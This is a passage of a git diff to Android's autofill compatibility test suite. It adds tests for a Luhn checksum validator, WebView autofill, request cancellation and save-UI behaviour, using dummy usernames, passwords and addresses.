+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Auto-fill it.
+ sUiBot.selectDataset("The Dude");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
+ final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
+
+ mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+ assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
+ .isEqualTo(4);
+
+ mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+ assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
+ .isEqualTo(5);
+ }
+
+ @Test
+ public void testAutofillLargeNumberOfDatasets() throws Exception {
+ // Set service.
+ enableService();
+
+ final StringBuilder bigStringBuilder = new StringBuilder();
+ for (int i = 0; i < 10_000 ; i++) {
+ bigStringBuilder.append("BigAmI");
+ }
+ final String bigString = bigStringBuilder.toString();
+
+ final int size = 100;
+ Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
+ + bigString.length() +"-bytes id");
+
+ final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
+ for (int i = 0; i < size; i++) {
+ final String suffix = "-" + (i + 1);
+ response.addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "user" + suffix)
+ .setField(ID_PASSWORD, "pass" + suffix)
+ .setId(bigString)
+ .setPresentation(createPresentation("DS" + suffix))
+ .build());
+ }
+
+ // Set expectations.
+ sReplier.addResponse(response.build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Make sure all datasets are shown.
+ // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
+ // shown
+ sUiBot.assertDatasets("DS-1", "DS-2", "DS-3");
+
+ // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
+ }
+
+ @Test
+ public void testCancellationSignalCalledAfterTimeout() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final OneTimeCancellationSignalListener listener =
+ new OneTimeCancellationSignalListener(Helper.FILL_TIMEOUT_MS + 2000);
+ sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Attach listener to CancellationSignal.
+ waitUntilConnected();
+ sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
+
+ // AssertResults
+ waitUntilDisconnected();
+ listener.assertOnCancelCalled();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
new file mode 100644
index 0000000..09600a8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LuhnChecksumValidatorTest {
+
+ @Test
+ public void nullId() {
+ assertThrows(NullPointerException.class,
+ () -> new LuhnChecksumValidator((AutofillId[]) null));
+ }
+
+ @Test
+ public void nullAndOtherId() {
+ assertThrows(NullPointerException.class,
+ () -> new LuhnChecksumValidator(new AutofillId(1), null));
+ }
+
+ @Test
+ public void duplicateFields() {
+ AutofillId id = new AutofillId(1);
+
+ // duplicate fields are allowed
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ // 5 is a valid checksum for 0005000
+ when(finder.findByAutofillId(id)).thenReturn("0005");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ // 6 is a not a valid checksum for 0006000
+ when(finder.findByAutofillId(id)).thenReturn("0006");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void leadingZerosAreIgnored() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
+ assertThat(validator.isValid(finder)).isTrue();
+ }
+
+ @Test
+ public void onlyOneChecksumValid() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ for (int i = 0; i < 10; i++) {
+ when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
+ assertThat(validator.isValid(finder)).isEqualTo(i == 3);
+ }
+ }
+
+ @Test
+ public void nullAutofillValuesCauseFailure() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId id3 = new AutofillId(3);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+ when(finder.findByAutofillId(id2)).thenReturn(null);
+ when(finder.findByAutofillId(id3)).thenReturn("3");
+
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void nonDigits() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+ when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
+ assertThat(validator.isValid(finder)).isTrue();
+ }
+
+ @Test
+ public void multipleFieldNumber() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+ when(finder.findByAutofillId(id2)).thenReturn("3");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(id2)).thenReturn("2");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
index 026cf08..14cb3dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
@@ -16,8 +16,6 @@
package android.autofillservice.cts;
-import static com.google.common.truth.Truth.assertWithMessage;
-
import android.app.Activity;
import android.app.assist.AssistStructure;
import android.content.Intent;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
index 3750c30..52c3bcc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
@@ -62,21 +62,19 @@
/**
* Throws one exception merging all exceptions thrown or added so far, if any.
*/
- public void throwIfAny() throws Exception {
+ public void throwIfAny() throws Throwable {
if (mThrowables.isEmpty()) return;
- if (mThrowables.size() == 1) {
- final Throwable t = mThrowables.get(0);
- if (t instanceof Exception) {
- throw (Exception) t;
- }
+ final int numberExceptions = mThrowables.size();
+ if (numberExceptions == 1) {
+ throw mThrowables.get(0);
}
String msg = "D'OH!";
try {
try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
- sw.write("Caught " + mThrowables.size() + " exceptions\n");
- for (int i = 0; i < mThrowables.size(); i++) {
+ sw.write("Caught " + numberExceptions + " exceptions\n");
+ for (int i = 0; i < numberExceptions; i++) {
sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
final Throwable exception = mThrowables.get(i);
exception.printStackTrace(pw);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 48b0c2f..1ba8755 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -80,7 +80,17 @@
void assertUiShownEvent(View expectedView, int expectedChildId) throws InterruptedException {
final MyEvent event = assertUiShownEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
+ }
+
+ /**
+ * Convenience method to assert an UI shown event a virtual view was received.
+ *
+ * @return virtual child id
+ */
+ int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
+ final MyEvent event = assertUiShownEvent(expectedView);
+ return event.childId;
}
/**
@@ -101,7 +111,7 @@
void assertUiHiddenEvent(View expectedView, int expectedChildId) throws InterruptedException {
final MyEvent event = assertUiHiddenEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
}
/**
@@ -123,7 +133,7 @@
throws InterruptedException {
final MyEvent event = assertUiUnavailableEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
}
private static final class MyEvent {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..5317d89
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+ private static final String TAG = "MyWebView";
+ private FillExpectation mExpectation;
+
+ public MyWebView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+ }
+
+ public void expectAutofill(String username, String password) {
+ mExpectation = new FillExpectation(username, password);
+ }
+
+ public void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+ final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (mExpectation.mException != null) {
+ throw mExpectation.mException;
+ }
+ assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+ .that(set).isTrue();
+ assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+ .isEqualTo(mExpectation.mExpectedUsername);
+ assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+ .isEqualTo(mExpectation.mExpectedPassword);
+ }
+
+ @Override
+ public void autofill(SparseArray<AutofillValue> values) {
+ super.autofill(values);
+
+ if (mExpectation == null) return;
+
+ try {
+ if (values == null || values.size() != 2) {
+ mExpectation.mException =
+ new IllegalArgumentException("Invalid values on autofill(): " + values);
+ } else {
+ try {
+ mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+ mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+ } catch (Exception e) {
+ mExpectation.mException = e;
+ }
+ }
+ } finally {
+ mExpectation.mLatch.countDown();
+ }
+ }
+
+ boolean isAutofillEnabled() {
+ return getContext().getSystemService(AutofillManager.class).isEnabled();
+ }
+
+ private class FillExpectation {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final String mExpectedUsername;
+ private final String mExpectedPassword;
+ private String mActualUsername;
+ private String mActualPassword;
+ private Exception mException;
+
+ FillExpectation(String username, String password) {
+ this.mExpectedUsername = username;
+ this.mExpectedPassword = password;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
new file mode 100644
index 0000000..0b055e0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
+ * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
+ */
+final class OneTimeCancellationSignalListener implements CancellationSignal.OnCancelListener {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final long mTimeoutMs;
+
+ OneTimeCancellationSignalListener(long timeoutMs) {
+ mTimeoutMs = timeoutMs;
+ }
+
+ void assertOnCancelCalled() throws Exception {
+ final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+ assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
+ .that(called).isTrue();
+ }
+
+ @Override
+ public void onCancel() {
+ mLatch.countDown();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
index fee5e31..071dec6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import static com.google.common.truth.Truth.assertWithMessage;
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
-import static android.autofillservice.cts.Helper.*;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.widget.CompoundButton;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
index 9c0d196..e326231 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -20,7 +20,6 @@
import android.content.Intent;
import android.os.Bundle;
-import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index d1b8400..c82fa42 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -15,6 +15,7 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
@@ -28,6 +29,8 @@
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import org.junit.After;
import org.junit.Before;
@@ -47,6 +50,9 @@
*/
public class OptionalSaveActivityTest extends AutoFillServiceTestCase {
+ private static final boolean EXPECT_NO_SAVE_UI = false;
+ private static final boolean EXPECT_SAVE_UI = false;
+
@Rule
public final AutofillActivityTestRule<OptionalSaveActivity> mActivityRule =
new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
@@ -430,4 +436,248 @@
// Once saved, the session should be finsihed.
assertNoDanglingSessions();
}
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetAllRequiredFields()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1, ID_ADDRESS2},
+ null,
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetRequiredAndOptionalFields()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnFirst()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build(),
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SV"))
+ .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+ .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnSecond()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+ mActivity.mAddress2.setText("Shelbyville Bluffs");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build(),
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SV"))
+ .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+ .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+ .build()
+ );
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserManuallyFilled_requiredOnly()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ },
+ EXPECT_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserManuallyFilled_optionalOnly()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ private void saveWhenUserFilledDatasetFields(@NonNull String[] requiredIds,
+ @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
+ @NonNull CannedDataset...datasets) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
+ if (optionalIds != null) {
+ response.setOptionalSavableIds(optionalIds);
+ }
+ for (CannedDataset dataset : datasets) {
+ response.addDataset(dataset);
+ }
+ sReplier.addResponse(response.build());
+
+ // Trigger auto-fill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Manually fill it.
+ mActivity.syncRunOnUiThread(changes);
+
+ // Make sure the snack bar is not shown.
+ if (expectSaveUi) {
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
+ } else {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ // ...then tap save.
+ mActivity.save();
+
+ // Assert the snack bar is not shown.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
+ // Set service.
+ enableService();
+
+ mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+ "Springfield", "Yellow");
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+ .setOptionalSavableIds(ID_CITY)
+ .addDataset(new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .setField(ID_CITY, "Springfield")
+ .setField(ID_FAVORITE_COLOR, "Yellow")
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("SF");
+ mActivity.assertAutoFilled();
+
+ // Clear the field.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
+
+ // Trigger save...
+ mActivity.save();
+
+ // ...and make sure the snack bar is not shown.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
+ // Set service.
+ enableService();
+
+ mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+ "Springfield", "Yellow");
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+ .setOptionalSavableIds(ID_CITY)
+ .addDataset(new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .setField(ID_CITY, "Springfield")
+ .setField(ID_FAVORITE_COLOR, "Yellow")
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("SF");
+ mActivity.assertAutoFilled();
+
+ // Clear the field.
+ mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
+
+ // Trigger save...
+ mActivity.save();
+
+ // ...and make sure the snack bar is shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+ // Finally, assert values.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+ "742 Evergreen Terrace");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+ "Simpsons House");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+ "Yellow");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 6dd2d11..83d1ce2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -16,11 +16,11 @@
package android.autofillservice.cts;
+import android.app.Activity;
import android.content.Context;
+import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
-import android.app.Activity;
-import android.os.Bundle;
import android.util.Log;
import java.io.File;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
new file mode 100644
index 0000000..5cdcf9b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * A simple activity that upon submission launches {@link SimpleSaveActivity}.
+ */
+public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
+
+ static final String ID_PRE_LABEL = "preLabel";
+ static final String ID_PRE_INPUT = "preInput";
+
+ TextView mPreLabel;
+ EditText mPreInput;
+ Button mSubmit;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.pre_simple_save_activity);
+
+ mPreLabel = findViewById(R.id.preLabel);
+ mPreInput = findViewById(R.id.preInput);
+ mSubmit = findViewById(R.id.submit);
+
+ mSubmit.setOnClickListener((v) -> {
+ finish();
+ startActivity(new Intent(this, SimpleSaveActivity.class));
+ });
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
new file mode 100644
index 0000000..b193ddf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
